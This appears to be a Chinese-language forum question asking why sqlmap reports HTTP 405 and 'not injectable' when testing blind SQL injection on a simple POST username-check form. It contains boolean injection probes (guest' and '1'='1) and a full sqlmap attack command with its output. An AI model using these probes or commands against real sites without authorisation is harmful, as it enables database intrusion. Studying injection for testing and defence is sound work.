出于学术目的,我需要在使用 POST 方法发送的表单参数上展开盲目的 sql 注入。表单非常简单,它只有一个输入文本框,用于介绍用户的名称和一个提交按钮,产生的输出只是告知所介绍用户的存在与否。html代码是:
<html>
<head>
<title>User info</title>
</head>...
<p> Introduce an user to check if it's in the database </p>
<form method="post">
User <input type="text" value="" name="user">
<input type="submit" value="Check!">
</form>
<hr>
</center>
</html>
我知道'guest'是一个有效的用户名(它返回true),我已经手动检查了它是否容易通过引入guest'和'1'='1(返回true)和guest'和'1' = '0,(返回假)。一旦确定它是易受攻击的,我就尝试使用 sqlmap 使用以下命令来爆炸漏洞:
# sqlmap -u "http://foo.com/checkuserform" --method "POST" --data "user=guest" --dbms "mysql" -p "user"
但似乎无法爆破漏洞:
...
**[00:23:01] [WARNING] the web server responded with an HTTP error code (405) which could interfere with the results of the tests**
[00:23:01] [INFO] testing if the target URL is stable
[00:23:02] [INFO] target URL is stable
[00:23:02] [WARNING] heuristic (basic) test shows that POST parameter 'user' might not be injectable
...
**[00:23:18] [WARNING] POST parameter 'user' is not injectable**
[00:23:18] [CRITICAL] all tested parameters appear to be not injectable. Try to increase '--level'/'--risk' values to perform more tests. Also, you can try to rerun by providing either a valid value for option '--string' (or '--regexp') If you suspect that there is some kind of protection mechanism involved (e.g. WAF) maybe you could retry with an option '--tamper' (e.g. '--tamper=space2comment')
[00:23:18] [WARNING] HTTP error codes detected during run:
405 (Method Not Allowed) - 175 times
让我感到惊讶的是 HTTP 405 错误,因为我在 sqlmap 命令中强制使用 POST (如果我手动检查它,我无法重现此错误)浏览器)。我也尝试过增加水平和风险参数的值但没有成功。你知道为什么会这样吗?